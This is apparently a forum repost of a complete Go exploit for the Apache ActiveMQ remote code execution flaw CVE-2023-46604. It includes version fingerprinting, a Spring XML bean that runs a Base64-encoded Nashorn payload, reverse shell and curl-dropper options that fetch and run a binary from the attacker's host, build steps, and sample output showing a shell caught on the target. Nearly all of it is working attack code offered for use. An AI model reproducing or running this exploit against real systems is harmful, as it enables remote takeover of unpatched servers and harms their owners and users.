CVE-2023-46604 is a widely exploited vulnerability that appears on CISA's KEV list. This go-exploit implementation can execute a reverse shell on the targets using a Nashorn payload, or download a binary to the target and execute it.
cve-2023-46604.go :
C-подобный:
package main
import (
"bytes"
b64 "encoding/base64"
"encoding/binary"
"fmt"
"net/http"
"regexp"
"strconv"
"strings"
"time"
"github.com/vulncheck-oss/go-exploit"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
"github.com/vulncheck-oss/go-exploit/config"
"github.com/vulncheck-oss/go-exploit/output"
"github.com/vulncheck-oss/go-exploit/payload/dropper"
"github.com/vulncheck-oss/go-exploit/payload/reverse"
"github.com/vulncheck-oss/go-exploit/protocol"
"github.com/vulncheck-oss/go-exploit/random"
"github.com/vulncheck-oss/go-exploit/transform"
)
var (
globalHTTPAddr string
globalHTTPPort int
)
type ActiveMQRCE struct{}
func (sploit ActiveMQRCE) ValidateTarget(conf *config.Config) bool {
conn, ok := protocol.MixedConnect(conf.Rhost, conf.Rport, conf.SSL)
if !ok {
return false
}
defer conn.Close()
msgSize, ok := protocol.TCPReadAmount(conn, 4)
if !ok {
return false
}
readSize := int(binary.BigEndian.Uint32(msgSize))
if readSize == 0 {
output.PrintDebug("The server provided an invalid message length")
return false
}
msg, ok := protocol.TCPReadAmount(conn, readSize)
if !ok {
return false
}
return bytes.HasPrefix(msg, []byte("\x01ActiveMQ"))
}
func (sploit ActiveMQRCE) CheckVersion(conf *config.Config) exploit.VersionCheckType {
conn, ok := protocol.MixedConnect(conf.Rhost, conf.Rport, conf.SSL)
if !ok {
return exploit.Unknown
}
defer conn.Close()
msgSize, ok := protocol.TCPReadAmount(conn, 4)
if !ok {
return exploit.Unknown
}
readSize := int(binary.BigEndian.Uint32(msgSize))
if readSize == 0 {
output.PrintError("The server provided an invalid message length")
return exploit.Unknown
}
msg, ok := protocol.TCPReadAmount(conn, readSize)
if !ok {
return exploit.Unknown
}
// perhaps less hacky is to properly parse the entire payload but
// just hitting it with a regex is quicker.
re := regexp.MustCompile(`ProviderVersion...([0-9.]+)`)
res := re.FindAllStringSubmatch(string(msg), -1)
if len(res) == 0 {
output.PrintDebug("Failed to extract a version")
return exploit.Unknown
}
exploit.StoreVersion(conf, res[0][1])
versionArray := strings.Split(res[0][1], ".")
if len(versionArray) != 3 {
output.PrintDebug("Unexpected version number")
return exploit.Unknown
}
major, _ := strconv.Atoi(versionArray[0])
minor, _ := strconv.Atoi(versionArray[1])
point, _ := strconv.Atoi(versionArray[2])
if major != 5 {
return exploit.NotVulnerable
}
switch {
case minor == 15 && point < 16:
return exploit.Vulnerable
case minor == 16 && point < 7:
return exploit.Vulnerable
case minor == 17 && point < 6:
return exploit.Vulnerable
case minor == 18 && point < 3:
return exploit.Vulnerable
case minor < 15:
return exploit.Vulnerable
default:
return exploit.NotVulnerable
}
}
func httpServerStart() {
_ = http.ListenAndServe(globalHTTPAddr+":"+strconv.Itoa(globalHTTPPort), nil)
}
func generatePayload(conf *config.Config) (string, bool) {
generated := ""
switch conf.ResolveC2Payload() {
case c2.SSLShellServer:
output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = reverse.JJS.Default(conf.Lhost, conf.Lport, true)
case c2.SimpleShellServer:
output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = reverse.JJS.Default(conf.Lhost, conf.Lport, false)
case c2.HTTPServeFile:
output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
curlCommand := dropper.Unix.CurlHTTP(conf.Lhost, conf.Lport,
httpservefile.GetInstance().TLS,
httpservefile.GetInstance().GetRandomName(""))
generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
default:
output.PrintError("Invalid payload")
return generated, false
}
generated = b64.StdEncoding.EncodeToString([]byte(generated))
return generated, true
}
func (sploit ActiveMQRCE) RunExploit(conf *config.Config) bool {
if len(globalHTTPAddr) == 0 {
output.PrintError("The user must specify an address to bind the HTTP server to. Quitting.")
return false
}
generatedShell, ok := generatePayload(conf)
if !ok {
return false
}
// the endpoint the http server will listen for a request to
endpoint := "/" + random.RandLetters(12)
http.HandleFunc(endpoint, func(w http.ResponseWriter, _ *http.Request) {
output.PrintStatus("Sending payload")
xml := fmt.Sprintf(`<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="vulncheck" class="java.lang.String">
<property name="file" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('eval(new java.lang.String(java.util.Base64.decoder.decode("%s")));')}"/>
</bean>
</beans>`, generatedShell)
_, _ = w.Write([]byte(xml))
})
output.PrintfStatus("HTTP server listening for %s:%d%s", globalHTTPAddr, globalHTTPPort, endpoint)
go httpServerStart()
// give it a couple to get going
time.Sleep(2 * time.Second)
url := protocol.GenerateURL(globalHTTPAddr, globalHTTPPort, false, endpoint)
class := "org.springframework.context.support.FileSystemXmlApplicationContext"
header := "\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"
classMsg := "\x01" + transform.PackBigInt16(len(class)) + class
urlMsg := "\x01" + transform.PackBigInt16(len(url)) + url
totalLength := transform.PackBigInt32(len(header) + len(urlMsg) + len(classMsg))
payload := totalLength + header + classMsg + urlMsg
output.PrintStatus("Connecting...")
conn, ok := protocol.MixedConnect(conf.Rhost, conf.Rport, conf.SSL)
if !ok {
return false
}
defer conn.Close()
output.PrintStatus("Sending exploit")
if !protocol.TCPWrite(conn, []byte(payload)) {
return false
}
// if the connection closes too fast, the server won't download our payload
time.Sleep(5 * time.Second)
return true
}
func main() {
supportedC2 := []c2.Impl{
c2.SSLShellServer,
c2.SimpleShellServer,
c2.ShellTunnel,
c2.HTTPServeFile,
}
conf := config.NewRemoteExploit(
config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
config.CodeExecution, supportedC2, "Apache", []string{"ActiveMQ"},
[]string{"cpe:2.3:a:apache:activemq"}, "CVE-2023-46604", "ActiveMQ", 61616)
conf.CreateStringVarFlag(&globalHTTPAddr, "httpAddr", "", "The address the HTTP server should bind to")
conf.CreateIntVarFlag(&globalHTTPPort, "httpPort", 8080, "The port the HTTP server should bind to")
sploit := ActiveMQRCE{}
exploit.RunProgram(sploit, conf)
}
Compiling
To build the exploit into a docker image simply:
Код:
make docker
If you have a Go build environment handy, you can also just use
make:
Код:
albinolobster@mournland:~/cve-2023-46604$ make
gofmt -d -w cve-2023-46604.go
golangci-lint run --fix cve-2023-46604.go
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-46604_linux-arm64 cve-2023-46604.go
Example Output
Код:
albinolobster@mournland:~/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -v -c -e -rhost 10.9.49.129 -rport 61616 -lhost 10.9.49.131 -lport 1270 -httpAddr 10.9.49.131 -c2 SimpleShellServer
time=2023-11-09T16:07:48.317-05:00 level=STATUS msg="Starting listener on 10.9.49.131:1270"
time=2023-11-09T16:07:48.317-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.129 port=61616 ssl=false "ssl auto"=false
time=2023-11-09T16:07:48.317-05:00 level=STATUS msg="Validating ActiveMQ target" host=10.9.49.129 port=61616
time=2023-11-09T16:07:48.398-05:00 level=SUCCESS msg="Target validation succeeded!" host=10.9.49.129 port=61616
time=2023-11-09T16:07:48.398-05:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.129 port=61616
time=2023-11-09T16:07:48.465-05:00 level=VERSION msg="The self-reported version is: 5.18.2" host=10.9.49.129 port=61616 version=5.18.2
time=2023-11-09T16:07:48.465-05:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.129 port=61616
time=2023-11-09T16:07:48.465-05:00 level=STATUS msg="HTTP server listening for 10.9.49.131:8080/JbmoWIDSyYqW"
time=2023-11-09T16:07:50.467-05:00 level=STATUS msg=Connecting...
time=2023-11-09T16:07:50.467-05:00 level=STATUS msg="Sending exploit"
time=2023-11-09T16:07:50.467-05:00 level=STATUS msg="Exploit successfully completed"
time=2023-11-09T16:07:50.510-05:00 level=STATUS msg="Sending payload"
time=2023-11-09T16:07:50.516-05:00 level=STATUS msg="Sending payload"
time=2023-11-09T16:07:50.657-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.129:37034"
time=2023-11-09T16:07:50.657-05:00 level=STATUS msg="Active shell from 10.9.49.129:37034"
id
uid=1000(albinolobster) gid=1000(albinolobster) groups=1000(albinolobster),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
whoami
albinolobster
source : https://github.com/vulncheck-oss/cve-2023-46604